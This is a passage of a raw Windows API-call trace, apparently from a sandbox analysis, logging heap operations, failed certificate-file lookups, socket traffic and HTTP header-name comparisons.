(HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35608 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36288 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4acf8 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x11) returned 0x2d35f88 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d35d88 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35a70 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d359c8 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35a40 [0119.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35e88 [0119.674] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab78 [0119.674] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x16) returned 0x2d36348 [0119.674] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6d) returned 0x2d28e88 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab58 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d357a0 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ac38 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36168 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35638 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35368 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36308 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ac48 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35740 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ad68 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35fa8 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35578 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d354a0 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36408 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35590 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d352c0 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab08 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36088 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35b00 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d353c8 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36248 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35f88 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35608 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4acf8 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36288 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34f00 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35788 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d362a8 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36348 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35a40 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4ab78 | out: hHeap=0x2a0000) returned 1 [0119.674] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35e88 | out: hHeap=0x2a0000) returned 1 [0119.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d359c8 | out: hHeap=0x2a0000) returned 1 [0119.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35a70 | out: hHeap=0x2a0000) returned 1 [0119.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35d88 | out: hHeap=0x2a0000) returned 1 [0119.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a4c0 | out: hHeap=0x2a0000) returned 1 [0119.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36188 | out: hHeap=0x2a0000) returned 1 [0119.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d354d0 | out: hHeap=0x2a0000) returned 1 [0119.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36268 | out: hHeap=0x2a0000) returned 1 [0119.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d34ff0 | out: hHeap=0x2a0000) returned 1 [0119.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36108 | out: hHeap=0x2a0000) returned 1 [0119.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35728 | out: hHeap=0x2a0000) returned 1 [0119.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35f68 | out: hHeap=0x2a0000) returned 1 [0119.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d356e0 | out: hHeap=0x2a0000) returned 1 [0119.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d361a8 | out: hHeap=0x2a0000) returned 1 [0119.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35428 | out: hHeap=0x2a0000) returned 1 [0119.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36448 | out: hHeap=0x2a0000) returned 1 [0119.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d4a8d0 | out: hHeap=0x2a0000) returned 1 [0119.675] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35c88 | out: hHeap=0x2a0000) returned 1 [0119.675] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35c88 [0119.675] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x7) returned 0x2d4ab78 [0119.675] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4acf8 [0119.675] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36448 [0119.675] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ab08 [0119.675] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x41) returned 0x2d45fe8 [0119.675] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x14) returned 0x2d361a8 [0119.675] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35428 [0119.675] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d356e0 [0119.675] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35728 [0119.675] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35f68 [0119.675] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ad68 [0119.675] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x19) returned 0x2d4a8d0 [0119.675] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d34ff0 [0119.675] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d354d0 [0119.675] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36108 [0119.675] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac48 [0119.675] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x17) returned 0x2d36268 [0119.675] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35a70 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d359c8 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36188 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac38 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x32) returned 0x2d56380 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35a40 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35788 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35d88 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ab58 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x5) returned 0x2d4aad8 [0119.676] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35428, Size=0x20) returned 0x2d4a4c0 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35428 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d34f00 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35e88 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ad58 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x17) returned 0x2d36348 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35608 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d353c8 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d362a8 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ace8 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x73) returned 0x2d5b100 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35b00 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d352c0 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36288 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4aaf8 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x46) returned 0x2d46128 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35590 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d354a0 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d35f88 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ab28 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x6b) returned 0x2d28f00 [0119.676] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d4a4c0, Size=0x40) returned 0x2d365f0 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35578 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35740 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36248 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac28 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x3) returned 0x2d4ac78 [0119.676] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35368 [0119.677] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2d35638 [0119.677] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36088 [0119.677] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xa) returned 0x2d357a0 [0119.677] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xf7) returned 0x2d4a988 [0119.677] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x48b) returned 0x2d295f8 [0119.677] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x18) returned 0x2d36408 [0119.677] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x8) returned 0x2d4ad38 [0119.677] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x47) returned 0x2d45ef8 [0119.677] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0xc) returned 0x2d35650 [0119.677] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35620, Size=0x20) returned 0x2d4a768 [0119.677] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35488 | out: hHeap=0x2a0000) returned 1 [0119.677] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d354e8 | out: hHeap=0x2a0000) returned 1 [0119.677] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d36308 | out: hHeap=0x2a0000) returned 1 [0119.677] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2d35fa8 | out: hHeap=0x2a0000) returned 1 [0119.677] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d354e8, Size=0x20) returned 0x2d4a830 [0119.677] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d354e8, Size=0x20) returned 0x2d4a420 [0119.677] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35830, Size=0x20) returned 0x2d4a768 [0119.677] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35bf0, Size=0x20) returned 0x2d4a420 [0119.677] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35bf0, Size=0x20) returned 0x2d4a628 [0119.677] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d35830, Size=0x20) returned 0x2d4a768 [0119.677] RtlReAllocateHeap (Heap=0x2a0000, Flags=0x0, Ptr=0x2d356b0, Size=0x10) returned 0x2d34dc8 [0119.677] GetCurrentDirectoryA (in: nBufferLength=0x105, lpBuffer=0x18f41c | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0119.677] FindFirstFileA (in: lpFileName="/usr/local/ssl/certs/653b494a.0", lpFindFileData=0x18f55c | out: lpFindFileData=0x18f55c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x11089ae1, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x2d51008, ftLastAccessTime.dwHighDateTime=0x2a0000, ftLastWriteTime.dwLowDateTime=0x2d510f0, ftLastWriteTime.dwHighDateTime=0x18f601, nFileSizeHigh=0x18f87c, nFileSizeLow=0x5, dwReserved0=0x0, dwReserved1=0xf, cFileName="tö\x18", cAlternateFileName="")) returned 0xffffffff [0119.678] GetLastError () returned 0x3 [0119.678] GetFullPathNameA (in: lpFileName="/usr/local/ssl/certs/653b494a.0", nBufferLength=0x104, lpBuffer=0x18f69c, lpFilePart=0x18f4f4 | out: lpBuffer="C:\\usr\\local\\ssl\\certs\\653b494a.0", lpFilePart=0x18f4f4*="653b494a.0") returned 0x21 [0119.678] GetLastError () returned 0x3 [0119.678] GetCurrentDirectoryA (in: nBufferLength=0x105, lpBuffer=0x18f414 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0119.678] FindFirstFileA (in: lpFileName="/usr/local/ssl/certs/bd1c2838.0", lpFindFileData=0x18f554 | out: lpFindFileData=0x18f554*(dwFileAttributes=0x134249, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x2d51008, ftLastAccessTime.dwHighDateTime=0x2a0000, ftLastWriteTime.dwLowDateTime=0x2d510f0, ftLastWriteTime.dwHighDateTime=0x2a0000, nFileSizeHigh=0x2d510f0, nFileSizeLow=0x18f601, dwReserved0=0x0, dwReserved1=0xf, cFileName="lö\x18", cAlternateFileName="")) returned 0xffffffff [0119.678] GetLastError () returned 0x3 [0119.678] GetFullPathNameA (in: lpFileName="/usr/local/ssl/certs/bd1c2838.0", nBufferLength=0x104, lpBuffer=0x18f694, lpFilePart=0x18f4ec | out: lpBuffer="C:\\usr\\local\\ssl\\certs\\bd1c2838.0", lpFilePart=0x18f4ec*="bd1c2838.0") returned 0x21 [0119.678] GetLastError () returned 0x3 [0119.678] WSASetLastError (iError=0) [0119.678] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.678] SetLastError (dwErrCode=0x0) [0119.678] WSASetLastError (iError=0) [0119.678] recv (in: s=0x12c, buf=0x2d51900, len=149, flags=0 | out: buf=0x2d51900*) returned 149 [0119.679] WSASetLastError (iError=0) [0119.679] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.680] SetLastError (dwErrCode=0x0) [0119.680] WSASetLastError (iError=0) [0119.680] recv (in: s=0x12c, buf=0x2d51900, len=4, flags=0 | out: buf=0x2d51900*) returned 4 [0119.680] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f620 | out: lpSystemTimeAsFileTime=0x18f620*(dwLowDateTime=0x983c3d60, dwHighDateTime=0x1d60051)) [0119.683] WSASetLastError (iError=0) [0119.683] send (s=0x12c, buf=0x2d571e8*, len=126, flags=0) returned 126 [0119.683] SetLastError (dwErrCode=0x0) [0119.683] WSASetLastError (iError=0) [0119.683] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.698] SetLastError (dwErrCode=0x0) [0119.698] WSASetLastError (iError=0) [0119.698] recv (in: s=0x12c, buf=0x2d51900, len=186, flags=0 | out: buf=0x2d51900*) returned 186 [0119.698] WSASetLastError (iError=0) [0119.698] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.698] SetLastError (dwErrCode=0x0) [0119.698] WSASetLastError (iError=0) [0119.698] recv (in: s=0x12c, buf=0x2d51900, len=1, flags=0 | out: buf=0x2d51900*) returned 1 [0119.698] WSASetLastError (iError=0) [0119.698] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.698] SetLastError (dwErrCode=0x0) [0119.698] WSASetLastError (iError=0) [0119.698] recv (in: s=0x12c, buf=0x2d51900, len=40, flags=0 | out: buf=0x2d51900*) returned 40 [0119.698] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Host", cchCount1=4, lpString2="Accept", cchCount2=6) returned 3 [0119.698] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Host", cchCount1=4, lpString2="User-Agent", cchCount2=10) returned 1 [0119.699] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Accept", cchCount1=6, lpString2="User-Agent", cchCount2=10) returned 1 [0119.699] WSASetLastError (iError=0) [0119.699] send (s=0x12c, buf=0x2d409d3*, len=219, flags=0) returned 219 [0119.699] GetTickCount64 () returned 0x1150a5d [0119.699] select (in: nfds=0, readfds=0x18f9f4, writefds=0x0, exceptfds=0x0, timeout=0x0 | out: readfds=0x18f9f4, writefds=0x0, exceptfds=0x0) returned 1 [0119.729] SetLastError (dwErrCode=0x0) [0119.729] SetLastError (dwErrCode=0x0) [0119.729] WSASetLastError (iError=0) [0119.729] recv (in: s=0x12c, buf=0x2d518fb, len=5, flags=0 | out: buf=0x2d518fb*) returned 5 [0119.729] SetLastError (dwErrCode=0x0) [0119.729] WSASetLastError (iError=0) [0119.729] recv (in: s=0x12c, buf=0x2d51900, len=623, flags=0 | out: buf=0x2d51900*) returned 623 [0119.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1.0", cchCount1=3, lpString2="1.1", cchCount2=3) returned 1 [0119.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1.1", cchCount1=3, lpString2="1.1", cchCount2=3) returned 2 [0119.730] GetTickCount64 () returned 0x1150a7d [0119.730] GetTickCount64 () returned 0x1150a7d [0119.730] GetTickCount64 () returned 0x1150a7d [0119.730] GetTickCount64 () returned 0x1150a7d [0119.730] GetTickCount64 () returned 0x1150a7d [0119.730] GetTickCount64 () returned 0x1150a7d [0119.730] GetTickCount64 () returned 0x1150a7d [0119.730] GetTickCount64 () returned 0x1150a7d [0119.730] GetTickCount64 () returned 0x1150a7d [0119.730] GetTickCount64 () returned 0x1150a7d [0119.730] GetTickCount64 () returned 0x1150a7d [0119.730] GetTickCount64 () returned 0x1150a7d [0119.730] GetTickCount64 () returned 0x1150a7d [0119.730] GetTickCount64 () returned 0x1150a7d [0119.730] GetTickCount64 () returned 0x1150a7d [0119.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Cache-control", cchCount2=13) returned 3 [0119.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Cache-control", cchCount2=13) returned 3 [0119.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Cache-control", cchCount2=13) returned 3 [0119.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Cache-control", cchCount2=13) returned 3 [0119.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Cache-control", cchCount2=13) returned 3 [0119.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Cache-control", cchCount2=13) returned 3 [0119.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Cache-control", cchCount2=13) returned 1 [0119.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Cache-control", cchCount2=13) returned 2 [0119.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Connection", cchCount2=10) returned 3 [0119.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Connection", cchCount2=10) returned 3 [0119.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Connection", cchCount2=10) returned 3 [0119.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Connection", cchCount2=10) returned 2 [0119.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Version", cchCount2=15) returned 3 [0119.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Version", cchCount2=15) returned 1 [0119.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Version", cchCount2=15) returned 3 [0119.730] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Version", cchCount2=15) returned 1 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Version", cchCount2=15) returned 3 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Version", cchCount2=15) returned 3 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Version", cchCount2=15) returned 1 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Version", cchCount2=15) returned 1 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Version", cchCount2=15) returned 3 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Version", cchCount2=15) returned 1 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Version", cchCount2=15) returned 1 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Version", cchCount2=15) returned 3 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Server", cchCount1=6, lpString2="Content-Version", cchCount2=15) returned 3 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-RAY", cchCount1=6, lpString2="Content-Version", cchCount2=15) returned 1 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Date", cchCount1=4, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Content-Type", cchCount1=12, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Transfer-Encoding", cchCount1=17, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Connection", cchCount1=10, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Set-Cookie", cchCount1=10, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Vary", cchCount1=4, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Access-Control-Allow-Origin", cchCount1=27, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Cache-control", cchCount1=13, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="X-IPLB-Instance", cchCount1=15, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CF-Cache-Status", cchCount1=15, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Age", cchCount1=3, lpString2="Content-Disposition", cchCount2=19) returned 1 [0119.731] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Expect-CT", cchCount1=9, lpString2="Content-Disposition", cchCount2=19) returned 3 [0119.731] CompareStringW 